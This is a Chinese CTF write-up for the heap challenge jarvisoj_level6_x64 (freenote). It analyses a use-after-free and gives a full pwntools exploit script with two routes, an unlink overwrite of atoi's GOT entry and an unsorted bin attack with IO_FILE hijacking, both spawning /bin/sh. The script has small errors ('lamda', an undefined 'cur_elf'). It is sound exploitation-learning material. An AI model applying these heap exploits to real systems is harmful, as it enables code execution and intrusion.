jarvisoj_level6_x64

总结

根据本题,学习与收获有:

  • 一般来说,在libc-2.23.so中,能用unlink的题目,基本可以用unsorted bin attack + IO_FILE劫持IO_jump_t结构执行system("/bin/sh")。不用能unlink的题目,但是能溢出修改unsorted bin chunksize并布局unsorted bin chunk内容,都可以用这一招偷鸡。
  • 修改unsorted binsize0x61, 然后从unsorted bin chunk的头部开始,布局如下:[/bin/sh\x00, 0x61 0, _IO_list_all - 0x10, 0, 1, 0xa8 * "\x00", fake_vtable_addr],然后fake_vtable填的内容如下:[0, 0, 0, system_addr]

checksec

image-20210609233419964

运行环境为ubuntu 16.04libc-2.23.so

题目分析

最开始分配一个0x1820chunk,用于管理所有的note结构。布局如下:

image-20210609233717583

需要注意的是:

  • 最后malloc的参数并不是用户输入的input_size,而是对齐到0x80的大小。但是记录的size确实输入的那个数。
  • edit_note函数中,realloc的参数也被同样处理过
  • 有一个read函数,必须填满size,否则会等待输入
  • 使用status来判断note的使用状态,而不是指针

漏洞分析

漏洞点就一个UAF

image-20210609234212715

利用思路

一般来说,UAF可以用来泄露地址。这里有两种利用思路,分别讲一下;

利用unlink

  • 利用unsorted binfd指针分别泄露出heap地址和libc地址,这样就得到了最初那个0x1820大小的chunk的地址
  • 利用realloc功能来构造unlink条件,结合uaf漏洞,修改某个ptrptr - 0x18,这个ptr0x1820堆块上
  • 利用edit修改atoi@gotsystem地址
  • 输入/bin/shshell

利用unsorted bin attack + IO_FILE:

  • 用同样的方法去泄露地址
  • 布局IO_FILE结构
  • 修改unsorted bin chunksize0x61
  • 调用malloc,触发IO_flush_all_lock_up,刷新所有流,执行system("/bin/sh")

最终EXP

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
from pwn import *

sh = process('freenote_x64')

int16 = lambda x : int(x, base=16)
LOG_ADDR = lamda: x, y: log.info("Addr: {} ===> {}".format(x, y))
libc = ELF('libc-2.23.so')

context.arch="amd64"


def list_note():
    sh.sendlineafter("Your choice: ", "1")
    msg = sh.recvuntil("== 0ops Free Note ==\n")
    info("msg: {}".format(msg))
    return msg


def new_note(length, data):
    sh.sendlineafter("Your choice: ", "2")
    sh.sendlineafter("Length of new note: ", str(length))
    sh.sendafter("Enter your note: ", data)
    sh.recvline()


def edit_note(idx, length, data):
    sh.sendlineafter("Your choice: ", "3")
    sh.sendlineafter("Note number: ", str(idx))
    sh.sendlineafter("Length of note: ", str(length))
    sh.sendafter("Enter your note: ", data)
    sh.recvline()


def delete_note(idx):
    sh.sendlineafter("Your choice: ", "4")
    sh.sendlineafter("Note number: ", str(idx))
    sh.recvline()


def attack_unlink():
    # leak addr
    new_note(0x80, "a" * 0x80) # 0 a
    new_note(0x100, "a" * 0x100) # 1 b
    new_note(0x80, "a" * 0x80) # 2 c
    new_note(0x80, "a" * 0x80) # 3 d

    delete_note(2)
    delete_note(0) # a ---> c

    new_note(0x80, "a" * 0x80) # c
    delete_note(2) # c ---> a
    # leak heap addr
    msg  = list_note()
    idx = msg.find(b"\n")
    leak_heap_addr = u64(msg[3:idx].ljust(8, b"\x00"))
    LOG_ADDR("leak_heap_addr", leak_heap_addr)

    new_note(0x80, "b" * 0x80) # a

    # leak libc addr
    msg  = list_note()
    idx = msg.find(b"\n")
    leak_libc_addr = u64(msg[3:idx].ljust(8, b"\x00"))
    LOG_ADDR("leak_libc_addr", leak_libc_addr)
    libc_base_addr = leak_libc_addr - 0x3c4b20 - 88
    LOG_ADDR("libc_base_addr", libc_base_addr)

    libc.address = libc_base_addr

    # realloc and unlink
    layout = [0, 0x101, leak_heap_addr-0x17d8 - 0x18, 
            leak_heap_addr - 0x17d8 - 0x10, 0xe0 * "a",
            0x100, 0x90]
    edit_note(1, 0x180, flat(layout, length=0x180, filler="a"))

    delete_note(0)

    layout = [0, [1, 8, cur_elf.got['atoi']] * 2]
    edit_note(1, 0x180, flat(layout, length=0x180, filler="\x00"))

    edit_note(1, 8, flat(libc.sym['system']))

    sh.sendlineafter("Your choice: ", "/bin/sh")

    sh.interactive()


def attack_io_file():
    # leak addr
    new_note(0x200, "a" * 0x200) # 0 a
    new_note(0x80, "a" * 0x80) # 1 b
    new_note(0x200, "a" * 0x200) # 2 c
    new_note(0x80, "a" * 0x80) # 3 d

    delete_note(2)
    delete_note(0) # a ---> c

    new_note(0x200, "a" * 0x200) # c
    delete_note(2) # c ---> a
    # leak heap addr
    msg  = list_note()
    idx = msg.find(b"\n")
    leak_heap_addr = u64(msg[3:idx].ljust(8, b"\x00"))
    LOG_ADDR("leak_heap_addr", leak_heap_addr)

    new_note(0x200, "b" * 0x200) # a

    # leak libc addr
    msg  = list_note()
    idx = msg.find(b"\n")
    leak_libc_addr = u64(msg[3:idx].ljust(8, b"\x00"))
    LOG_ADDR("leak_libc_addr", leak_libc_addr)
    libc_base_addr = leak_libc_addr - 0x3c4b20 - 88
    LOG_ADDR("libc_base_addr", libc_base_addr)

    libc.address = libc_base_addr

    io_list_all_addr = libc.sym['_IO_list_all']
    layout = ["a" * 0x80, 0, 0x211]
    edit_note(1, 0x280, flat(layout, length=0x280, filler="a"))

    # re-put unsorted bin 
    delete_note(0)

    layout = ["a" * 0x80, "/bin/sh\x00", 0x61,
                0, io_list_all_addr - 0x10, 0, 1, 0xa8 * "\x00",
                leak_heap_addr + 0x380, 0, 0, [libc.sym['system']] * 3]

    edit_note(1, 0x280, flat(layout, length=0x280, filler="\x00"))

    sh.sendlineafter("Your choice: ", "2")
    sh.sendlineafter("Length of new note: ", str(0x300))

    sh.interactive()



if __name__ == '__main__':
    import random
    if random.randint(0, 100) >= 50:
        info("Use unlink!\n")
        sleep(3)
        attack_unlink()
    else:
        info("Use IO_FILE!\n")
        sleep(3)
        attack_io_file()

远程打:

unlink

image-20210609235541204

FSOP:

image-20210609235423075

引用与参考

1、My Blog

2、Ctf Wiki

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%